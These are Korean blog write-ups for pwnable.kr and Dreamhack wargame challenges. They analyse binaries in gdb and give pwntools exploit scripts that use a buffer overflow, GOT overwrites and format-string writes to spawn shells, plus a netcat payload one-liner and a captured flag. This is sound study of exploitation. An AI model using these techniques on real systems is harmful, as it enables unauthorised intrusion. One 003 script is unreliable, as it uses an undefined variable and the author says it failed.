[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - random.c

#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\\n");
	return 0;
}
  • rand 함수를 호출하여 random 값 생성
  • scanf로 입력 받은 key 값과 xor 연산한 값이 0xdeadbeef일 때 flag를 출력함
  • 단순히 rand 함수만 이용하게 되면 맨 처음 호출된 값은 random이지만 호출할 때 마다 같은 값을 출력함

→ 진짜 매번 random한 값을 출력하고 싶다면 srand(time(null))과 같은 형태로 사용해야 함

 

🧵 rand 함수

 

문제 해결

💡 호출되는 random 값이 무엇인지 구하여 key ^ random = 0xdeadbeef 역연산하기

 

gdb 분석 - main 함수

gdb-peda$ disass main
Dump of assembler code for function main:
   0x00000000004005f4 <+0>:	push   rbp
   0x00000000004005f5 <+1>:	mov    rbp,rsp
   0x00000000004005f8 <+4>:	sub    rsp,0x10
   0x00000000004005fc <+8>:	mov    eax,0x0
   0x0000000000400601 <+13>:	call   0x400500 <rand@plt>
   0x0000000000400606 <+18>:	mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400609 <+21>:	mov    DWORD PTR [rbp-0x8],0x0
   0x0000000000400610 <+28>:	mov    eax,0x400760
   0x0000000000400615 <+33>:	lea    rdx,[rbp-0x8]
   0x0000000000400619 <+37>:	mov    rsi,rdx
   0x000000000040061c <+40>:	mov    rdi,rax
   0x000000000040061f <+43>:	mov    eax,0x0
   0x0000000000400624 <+48>:	call   0x4004f0 <__isoc99_scanf@plt>
   0x0000000000400629 <+53>:	mov    eax,DWORD PTR [rbp-0x8]
   0x000000000040062c <+56>:	xor    eax,DWORD PTR [rbp-0x4]
   0x000000000040062f <+59>:	cmp    eax,0xdeadbeef
   0x0000000000400634 <+64>:	jne    0x400656 <main+98>
   0x0000000000400636 <+66>:	mov    edi,0x400763
   0x000000000040063b <+71>:	call   0x4004c0 <puts@plt>
   0x0000000000400640 <+76>:	mov    edi,0x400769
   0x0000000000400645 <+81>:	mov    eax,0x0
   0x000000000040064a <+86>:	call   0x4004d0 <system@plt>
   0x000000000040064f <+91>:	mov    eax,0x0
   0x0000000000400654 <+96>:	jmp    0x400665 <main+113>
   0x0000000000400656 <+98>:	mov    edi,0x400778
   0x000000000040065b <+103>:	call   0x4004c0 <puts@plt>
   0x0000000000400660 <+108>:	mov    eax,0x0
   0x0000000000400665 <+113>:	leave  
   0x0000000000400666 <+114>:	ret    
End of assembler dump.
  • rand 함수로 생성된 random 값은 rax에 저장되었다가 rbp-0x4로 옮겨짐
  • scanf로 입력 받은 key 값은 rbp-0x8 위치에 저장됨

→ rax 레지스터에 0x6b8b4567이라는 random 값이 저장되었음

  • 0x6b8b4567 ^ key = 0xdeadbeef가 되어야 함
    • key = 0x6b8b4567 ^ 0xdeadbeef = 0xb526fb88(3039230856)
    • 0xb526fb88을 입력 값으로 넣어주면 flag를 획득할 수 있을 것
    • 그러나 scanf 함수가 %d 형태로 key 값을 입력 받기 때문에 10진수 형태로 입력해줘야 함

 

pwntool exploit

from pwn import *

s = ssh(user='random', host='pwnable.kr', password='guest', port=2222)
p = s.process(executable="/home/random/random")

p.sendline("3039230856")
print p.recv()


flag

🍒 Mommy, I thought libc random is unpredictable...

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] leg  (2) 2022.10.15
[Pwnable.kr] input  (2) 2022.10.15
[Pwnable.kr] passcode  (0) 2022.10.14
[Pwnable.kr] flag  (0) 2022.10.14
[Pwnable.kr] bof  (0) 2022.10.14

[문제]


[풀이]

보호기법 분석

  • 32bits 바이너리
  • 카나리 존재 → bof 불가
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - passcode.c

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin); //buffer를 지워줌

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\\n");
	return 0;	
}
  • main 함수에서는 단순히 welcome 함수와 login 함수를 호출함
  • welcome 함수
    • name에 대한 정보를 입력 받는데, 100byte 만큼 입력할 수 있음
  • login 함수

  • 그런데 해당 값을 입력하면 Segmentation Fault가 발생함

 

gdb 분석 - 함수 주소

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x080483e0  _init
0x08048420  printf@plt
0x08048430  fflush@plt
0x08048440  __stack_chk_fail@plt
0x08048450  puts@plt
0x08048460  system@plt
0x08048470  __gmon_start__@plt
0x08048480  exit@plt
0x08048490  __libc_start_main@plt
0x080484a0  __isoc99_scanf@plt
0x080484b0  _start
0x080484e0  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048564  login
0x08048609  welcome
0x08048665  main
0x080486a0  __libc_csu_init
0x08048710  __libc_csu_fini
0x08048712  __i686.get_pc_thunk.bx
0x08048720  __do_global_ctors_aux
0x0804874c  _fini

 

gdb 분석 - welcome

gdb-peda$ disass welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   ebp
   0x0804860a <+1>:	mov    ebp,esp
   0x0804860c <+3>:	sub    esp,0x88
   0x08048612 <+9>:	mov    eax,gs:0x14
   0x08048618 <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:	xor    eax,eax
   0x0804861d <+20>:	mov    eax,0x80487cb
   0x08048622 <+25>:	mov    DWORD PTR [esp],eax
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    eax,0x80487dd
   0x0804862f <+38>:	lea    edx,[ebp-0x70]
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    eax,0x80487e3
   0x08048643 <+58>:	lea    edx,[ebp-0x70] #user name 저장 위치
   0x08048646 <+61>:	mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:	mov    DWORD PTR [esp],eax
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:	xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.
  • 사용자의 입력 값은 ebp-0x70에 저장됨
    • 임의의 입력값(다수의 a)를 넣었을 때 ebp-0x70에 잘 저장됨을 알 수 있음

 

gdb 분석 - login

gdb-peda$ disass login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10] #passcode1
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc] #passcode2
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.
  • passcode1, passcode2로 입력한 값은 각각 ebp-0x10, ebp-0xc에 저장됨

  • 그러나 해당 위치에 값이 저장되지 않음

  • 임의의 값(다수의 1)을 입력하면 0xffd624c0에 저장됨

  • passcode1에 임의의 값(다수의 1)을 입력하면 Segmemtation Fault가 발생함

  • scanf가 내부적으로 호출하는 _IO_vfscanf 함수에서 에러 발생

  • 그런데 welcome과 login 함수의 ebp 값이 동일함

→ 같은 스택에 데이터를 저장한다!

→ name은 ebp-0x70, passcode1은 ebp-0x10, passcode2는 ebp-0xc에 각각 저장되는 것

  • 전체적인 스택 구조를 그려보면 passcode1이 name에 중첩되어 있음

 

문제 해결

💡 login함수를 살펴보면 passcode1의 입력 값을 받은 후, fflush 함수를 호출하고 있는데 여기서 got주소를 이용할 수 있음. fflush함수를 호출하게 되면 plt 주소에서 got주소를 참조하여 찾아가게 되는데, 이 got 주소를 login+127의 주소로 변경해주면 조건문의 조건을 충족하지 않아도 flag 획득 가능

name에서 96byte만큼의 dummy를 채운 다음 4byte를 fflush함수의 GOT주소를 넣어주고 system 함수의 주소를 넣어주면 system 함수를 실행할 수 있음

즉, [dummy(96)] + [GOT Address(4)] + [system(4)]
  • 정리해보자면, name 100byte 중 passcode1 부분을 name 입력 받을 때 fflush@got으로 변경(scanf("%d", fflush@got)의 형태가 됨)→ 실제 passcode1을 scanf로 받는 부분에서 system 함수 호출 부분을 10 진수 형태로 입력(got 주소가 변경되었기 때문에 fflush 대신 system(”/bin/cat flag”)를 호출함)
    • scanf(”%d”, passcode1)로 받기 때문에 int type으로 입력해줘야 함

  • fflush함수는 리눅스에서는 제 기능을 하지 못함!

+이전에 적었던 풀이 → fflush이외에도 다른 함수로 exploit 하는 방법

  • GOT 주소들은 readelf 명령을 통해 확인해볼 수 있고, printf, fflush, exit 모두 무관하게 이용 가능함


flag

🍒 Sorry mom.. I got confused about scanf usage :(

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] input  (2) 2022.10.15
[Pwnable.kr] random  (0) 2022.10.14
[Pwnable.kr] flag  (0) 2022.10.14
[Pwnable.kr] bof  (0) 2022.10.14
[Pwnable.kr] collision  (0) 2022.10.14

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 없음
  • PIE 없음

 

문제 해결

💡 UPX 패킹되어 있음을 알 수 있음

 

upx 설치

sudo apt-get install -y upx

  • gdb에서 main 함수를 실행하며 step over 하다보면 RDX 레지스터에 복사된 flag를 획득할 수 있음


flag

🍒 UPX...? sounds like a delivery service :)

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] random  (0) 2022.10.14
[Pwnable.kr] passcode  (0) 2022.10.14
[Pwnable.kr] bof  (0) 2022.10.14
[Pwnable.kr] collision  (0) 2022.10.14
[Pwnable.kr] fd  (0) 2022.10.14

[문제]


[풀이]

보호기법 분석

  • 32bits 바이너리
  • 카나리 존재
  • NX bits 존재
  • PIE 존재

 

소스코드 분석 - bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\\n");
	}
}

int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}
  • func 함수의 인자로 0xdeadbeef를 넣음
  • gets함수로 overflowme에 입력 값을 받아 저장함
    • overflowme는 32byte로 할당됨
  • key 값이 0xcafebabe라면 shell 획득할 수 있음

 

바이너리 실행

 

gdb 분석 - main

pwndbg> disass main
Dump of assembler code for function main:
   0x0000068a <+0>:	push   ebp
   0x0000068b <+1>:	mov    ebp,esp
   0x0000068d <+3>:	and    esp,0xfffffff0
   0x00000690 <+6>:	sub    esp,0x10
   0x00000693 <+9>:	mov    DWORD PTR [esp],0xdeadbeef
   0x0000069a <+16>:	call   0x62c <func>
   0x0000069f <+21>:	mov    eax,0x0
   0x000006a4 <+26>:	leave  
   0x000006a5 <+27>:	ret    
End of assembler dump.
  • 0xdeadbeef는 0xffffd1b0에 저장됨

 

gdb 분석 - func

pwndbg> disass func
Dump of assembler code for function func:
   0x5655562c <+0>:	push   ebp
   0x5655562d <+1>:	mov    ebp,esp
   0x5655562f <+3>:	sub    esp,0x48
   0x56555632 <+6>:	mov    eax,gs:0x14
   0x56555638 <+12>:	mov    DWORD PTR [ebp-0xc],eax
   0x5655563b <+15>:	xor    eax,eax
   0x5655563d <+17>:	mov    DWORD PTR [esp],0x5655578c
   0x56555644 <+24>:	call   0xf7e35c40 <__GI__IO_puts>
   0x56555649 <+29>:	lea    eax,[ebp-0x2c]
   0x5655564c <+32>:	mov    DWORD PTR [esp],eax
   0x5655564f <+35>:	call   0xf7e35120 <_IO_gets>
=> 0x56555654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x5655565b <+47>:	jne    0x5655566b <func+63>
   0x5655565d <+49>:	mov    DWORD PTR [esp],0x5655579b
   0x56555664 <+56>:	call   0xf7e09780 <__libc_system>
   0x56555669 <+61>:	jmp    0x56555677 <func+75>
   0x5655566b <+63>:	mov    DWORD PTR [esp],0x565557a3
   0x56555672 <+70>:	call   0xf7e35c40 <__GI__IO_puts>
   0x56555677 <+75>:	mov    eax,DWORD PTR [ebp-0xc]
   0x5655567a <+78>:	xor    eax,DWORD PTR gs:0x14
   0x56555681 <+85>:	je     0x56555688 <func+92>
   0x56555683 <+87>:	call   0xf7edc530 <__stack_chk_fail>
   0x56555688 <+92>:	leave  
   0x56555689 <+93>:	ret    
End of assembler dump.

  • overflowme에 임의의 입력 값(다수의 a)를 입력
  • 입력 값은 0xffffd17c(esp)에 저장됨

  • ebp+0x8에서 0xdeadbeef 값을 확인할 수 있음
  • 해당 값과 0xcafebabe를 비교하여 값이 같다면 shell을 출력, 그렇지 않으면 바이너리가 종료됨

 

문제 해결

💡  bof 취약점을 이용하여 0xdeadbeef의 값을 0xcafebabe로 변조 [dummy(52)] + [0xcafebabe]

 

Exploit - Pwntools

from pwn import *

p = remote("pwnable.kr", 9000)

payload = "a"*52 + p32(0xcafebabe)

p.sendline(payload)
p.interactive()

💡 (python -c 'print "a"*52+"\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000


flag

🍒 daddy, I just pwned a buFFer :)

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] random  (0) 2022.10.14
[Pwnable.kr] passcode  (0) 2022.10.14
[Pwnable.kr] flag  (0) 2022.10.14
[Pwnable.kr] collision  (0) 2022.10.14
[Pwnable.kr] fd  (0) 2022.10.14

[문제]


[풀이]

보호기법 분석

  • 32bits 바이너리
  • 카나리 존재
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - col.c

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\\n");
	return 0;
}
  • hashcode는 전역 변수로 선언되어 있음
  • passcode가 hashcode와 같다면 flag를 출력함
    • passcode는 20byte이어야 함
    • passcode는 argv[1]로 전달할 것

 

문제 해결

💡 0x21DD09EC을 20byte로 넣을 수 있는 방법을 찾자!
→ 5로 나누면 나머지가 발생하므로 이를 이용하면 늘릴 수 있음
→ 113626824(6C5CEC8)*4+113626828(6C5CECC)을 10진수로 넣으면 byte 초과함
→ 16진수 형태로 넣으면 됨!
"\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06”


flag

🍒 daddy! I just managed to create a hash collision :)

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] random  (0) 2022.10.14
[Pwnable.kr] passcode  (0) 2022.10.14
[Pwnable.kr] flag  (0) 2022.10.14
[Pwnable.kr] bof  (0) 2022.10.14
[Pwnable.kr] fd  (0) 2022.10.14

[문제]


[풀이]

보호기법 분석

  • 32bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - fd.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char buf[32];

int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\\n", buf)){
		printf("good job :)\\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\\n");
	return 0;

}
  • fd 변수에 argv[1]을 받은 것에 -0x1234한 값을 저장함
  • read(fd, buf, 32);→ buf에 32바이트만큼 저장!
  • 즉, [input] - 0x1234 = 0 이면 input은 0x1234(4660)이 되어야 함
  • → fd 부분에는 0(표준 입력), 1(표준 출력), 2(표준 에러)를 삽입할 수 있음
  • if문에서 buf에 들어간 문자가 LETMEWIN인지 비교후 같다면 flag 출력

 

문제 해결

💡 fd 값을 0으로 맞춰주고 LETMEWIN 입력


flag

🍋 mommy! I think I know what a file descriptor is!!

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] random  (0) 2022.10.14
[Pwnable.kr] passcode  (0) 2022.10.14
[Pwnable.kr] flag  (0) 2022.10.14
[Pwnable.kr] bof  (0) 2022.10.14
[Pwnable.kr] collision  (0) 2022.10.14

보호 기법 확인

  • 32bit 바이너리
  • partial relro
  • 카나리 없음
  • nx bit 존재
  • pie 없음

 

바이너리 실행

  • 단순히 사용자의 입력을 받아 ECHO로 출력해줌

 

소스코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\\n", stack_buf);
    return 0;
}

main 함수

  • malloc으로 128byte만큼 heap_buf 메모리 할당
  • stack_buf는 0x90(144)만큼 할당
  • read함수를 통해 heap_buf에 0x80만큼 사용자의 입력을 받아 저장함
  • sprintf 함수로 heap_buf에 입력된 값을 stack_buf에 저장 후 stack_buf 출력
    • 포맷 스트링이 존재하지 않음! → FSB 취약점 발생
    • printf에서 fsb가 발생하는 것과 동시에 snprintf 처럼 사이즈를 정한 것이 아니기 때문에 bof가 발생할 수 있다.
    만약 heap_buf에서 stack_buf로 출력할 때 %1000c가 담겨 있다면heap_buf에는 "%1000c"로 6자리 문자로 인식되지만, stack_buf에는 1000바이트가 입력
  • → BOF 취약점도 발생함!

get_shell 함수

  • shell 실행 함수

sprintf 함수

💡 int sprintf(char *str, const char *format, ...);

  • 인자
    • char *str: 출력 값을 지정할 문자열
    • const char* format: 서식 문자열
    • ...: 서식 연산자에 치환할 값들
  • 출력하는 결과 값을 변수에 저장해줌
  • string = printf
  • printf가 출력하는 함수라면 sprintf는 출력 값을 문자열에 저장하는함수

  • 리턴 값: 문자열 변수 str에 쓰기가 성공한 문자 개수

 

바이너리 실행 - fsb 확인

  • 사용자의 입력 값이 1번째 offset에 저장됨

 

GDB 정적분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048414  _init
0x08048450  read@plt
0x08048460  printf@plt
0x08048470  signal@plt
0x08048480  alarm@plt
0x08048490  malloc@plt
0x080484a0  puts@plt
0x080484b0  system@plt
0x080484c0  exit@plt
0x080484d0  __libc_start_main@plt
0x080484e0  setvbuf@plt
0x080484f0  sprintf@plt
0x08048500  __gmon_start__@plt
0x08048510  _start
0x08048540  __x86.get_pc_thunk.bx
0x08048550  deregister_tm_clones
0x08048580  register_tm_clones
0x080485c0  __do_global_dtors_aux
0x080485e0  frame_dummy
0x0804860b  alarm_handler
0x08048622  initialize
0x08048669  get_shell
0x0804867c  main
0x08048700  __libc_csu_init
0x08048760  __libc_csu_fini
0x08048764  _fini
  • main: 0x0804867c
  • get_shell: 0x08048669

 

GDB 정적분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0804867c <+0>:	push   ebp
   0x0804867d <+1>:	mov    ebp,esp
   0x0804867f <+3>:	push   edi
   0x08048680 <+4>:	sub    esp,0x94
   0x08048686 <+10>:	push   0x80
   0x0804868b <+15>:	call   0x8048490 <malloc@plt>
   0x08048690 <+20>:	add    esp,0x4
   0x08048693 <+23>:	mov    DWORD PTR [ebp-0x8],eax
   0x08048696 <+26>:	lea    edx,[ebp-0x98]
   0x0804869c <+32>:	mov    eax,0x0
   0x080486a1 <+37>:	mov    ecx,0x24
   0x080486a6 <+42>:	mov    edi,edx
   0x080486a8 <+44>:	rep stos DWORD PTR es:[edi],eax
   0x080486aa <+46>:	call   0x8048622 <initialize>
   0x080486af <+51>:	push   0x80
   0x080486b4 <+56>:	push   DWORD PTR [ebp-0x8]
   0x080486b7 <+59>:	push   0x0
   0x080486b9 <+61>:	call   0x8048450 <read@plt>
   0x080486be <+66>:	add    esp,0xc
   0x080486c1 <+69>:	push   DWORD PTR [ebp-0x8]
   0x080486c4 <+72>:	lea    eax,[ebp-0x98]
   0x080486ca <+78>:	push   eax
   0x080486cb <+79>:	call   0x80484f0 <sprintf@plt>
   0x080486d0 <+84>:	add    esp,0x8
   0x080486d3 <+87>:	lea    eax,[ebp-0x98]
   0x080486d9 <+93>:	push   eax
   0x080486da <+94>:	push   0x8048791
   0x080486df <+99>:	call   0x8048460 <printf@plt>
   0x080486e4 <+104>:	add    esp,0x8
   0x080486e7 <+107>:	mov    eax,0x0
   0x080486ec <+112>:	mov    edi,DWORD PTR [ebp-0x4]
   0x080486ef <+115>:	leave  
   0x080486f0 <+116>:	ret    
End of assembler dump.
  • read 함수로 사용자의 입력을 받는 것은 ebp-0x8(heap_buf)에 저장됨
  • sprintf로 stack_buf에 옮겨 저장하는 것은 ebp-0x98에 저장됨
  • stack_buf에서 ret까지 offset은 0x98 + 0x4 = 156일 것!

 

메모리 구조 확인

  • main+84에 bp걸어 임의의 값(다수의 a) 입력 시 stack_buf는 0xffffd050임을 알 수 있음
  • __libc_start_main+241(ret)는 0xffffd0ec
  • offset: 0xffffd0ec - 0xffffd050 = 156

 

Exploit Algorithm

💡 %156c + get_shell address
  • dummy를 156byte만큼 그냥 입력할 수는 없음 → read 함수에서 0x80만큼만 받기 때문
  • FSB 취약점이 함께 발생하기 때문에 포맷스트링 인자를 이용하면 더미를 Overwrite 하여 줄 수 있음
💡 printf@got + get_shell address

 

Exploit - Pwntools

from pwn import *

p =remote('host1.dreamhack.games', 9880)
e = ELF('./basic_exploitation_003')

get_shell = e.symbols['get_shell']

payload = "%156c" + p32(get_shell)

p.sendline(payload)
p.interactive()

 

Exploit - Pwntools

from pwn import *

p =remote('host1.dreamhack.games', 17375)
e = ELF("./basic_exploitation_003")

payload = p32(printf) + p32(printf+1) +"%97c%1$hhn%29c%2$hhn"

p.send(payload)
p.interactive()

→ 2byte 단위는 또 안된다 왜지?

→ 002에서는 exit +2 가 먼저 왔는데 여기서는 왜 printf 먼저 오지?

→ fmtstr은 왜 안될까 ?

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] Basic_Exploitation_002  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_001  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_000  (0) 2022.10.14

보호 기법 확인

  • 32bit 바이너리
  • partital relro
  • 카나리 없음
  • nx bit 존재
  • pie 없음

 

바이너리 실행

  • 단순히 사용자의 입력을 받아 출력해줌

 

소스코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

main 함수

  • buf 배열을 0x80(128)만큼 할당
  • read 함수로 사용자의 입력을 0x80만큼 받아 buf 배열에 저장
    • BOF 취약점은 발생하지 않음
  • printf함수로 buf 값을 출력해줌
    • 원래는 포맷스트링을 갖춘 형태로 이용해야 함!!→ FSB 취약점 발생
    • printf("%s", &buf);
  • exit 함수의 got 주소를 get_shell 주소 변조해주면 바이너리가 종료되지 않고 shell을 실행해줄 것으로 보임!

get_shell 함수

  • system 함수로 shell 출력
  • flag를 획득할 수 있는 함수!

 

바이너리 실행

  • FSB 취약점이 발생할 경우 입력 값에 포맷스트링을 넣어주면 입력 값이 저장되는 offset을 확인할 수 있음

  • 입력 값은 32bit 바이너리이므로 4byte 단위로 입력해야 함
  • 입력한 aaaa가 바로 뒤(1번째 offset)에 저장되는 것을 알 수 있음

 

GDB 정적분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x080483d8  _init
0x08048410  read@plt
0x08048420  printf@plt
0x08048430  signal@plt
0x08048440  alarm@plt
0x08048450  puts@plt
0x08048460  system@plt
0x08048470  exit@plt
0x08048480  __libc_start_main@plt
0x08048490  setvbuf@plt
0x080484a0  __gmon_start__@plt
0x080484b0  _start
0x080484e0  __x86.get_pc_thunk.bx
0x080484f0  deregister_tm_clones
0x08048520  register_tm_clones
0x08048560  __do_global_dtors_aux
0x08048580  frame_dummy
0x080485ab  alarm_handler
0x080485c2  initialize
0x08048609  get_shell
0x0804861c  main
0x08048650  __libc_csu_init
0x080486b0  __libc_csu_fini
0x080486b4  _fini
  • get_shell: 0x8048609

 

GDB 정적분석 - exit 함수

pwndbg> disass exit
Dump of assembler code for function exit@plt:
   0x08048470 <+0>:	jmp    DWORD PTR ds:0x804a024
   0x08048476 <+6>:	push   0x30
   0x0804847b <+11>:	jmp    0x8048400
End of assembler dump.
  • exit@got: 0x804a024

 

Exploit Algorithm

💡 exit@got(0x804a024) → get_shell address(0x8048609)
  • fsb → %n을 사용하여 함수 주소를 10진수로 변환한 개수로서 생각하고 넣어주면 됨
  • 0x8048609 → 134514185를 1번째 offset에 맞춰 넣어주면 되는데, 숫자가 너무 크기 때문에 반을 나눠(%hn) 넣어줌
    • 0x0804/0x8609 나눠서 넣어줌
    • 나눠 넣더라도 전체 주소의 10진수 변환 값과 같아야 하므로 약간의 연산이 필요함
    • (exit+2) + exit의 got 주소를 반 나눠 명시 → 각 4바이트씩 총 8바이트
    1. 0x804 - 8 = 2044
    2. 0x8609 - 0x804 = 32261

 

Exploit - Pwntools

from pwn import *

p = remote('host1.dreamhack.games', 15654)
e = ELF('./basic_exploitation_002')

#exit = 0x804a024
exit = e.got['exit']

payload = p32(exit+2) + p32(exit) + '%2044c%1$hn%32261c%2$hn'

p.send(payload)
p.interactive()

 

Exploit - Pwntools(format)

from pwn import *

p = remote('host1.dreamhack.games', 15654)
e = ELF('./basic_exploitation_002')

exit = e.got['exit']

payload = p32(exit+2) + p32(exit)
payload += '%{}c'.format(0x804-0x8)
payload += '%1$hn'
payload += '%{}c'.format(0x8609-0x804)
payload += '%2$hn'

p.send(payload)

p.interactive()

 

Exploit - Pwntools(fmtstr)

from pwn import *

p = remote('host1.dreamhack.games', 18335)
e = ELF('./basic_exploitation_002')

exit = e.got['exit']
get_shell = e.symbols['get_shell']

p.sendline(fmtstr_payload(1, {exit: get_shell}))
p.interactive()

 

flag

🔑 DH{59c4a03eff1e4c10c87ff123fb93d56c}

'Wargame > Dreamhack' 카테고리의 다른 글

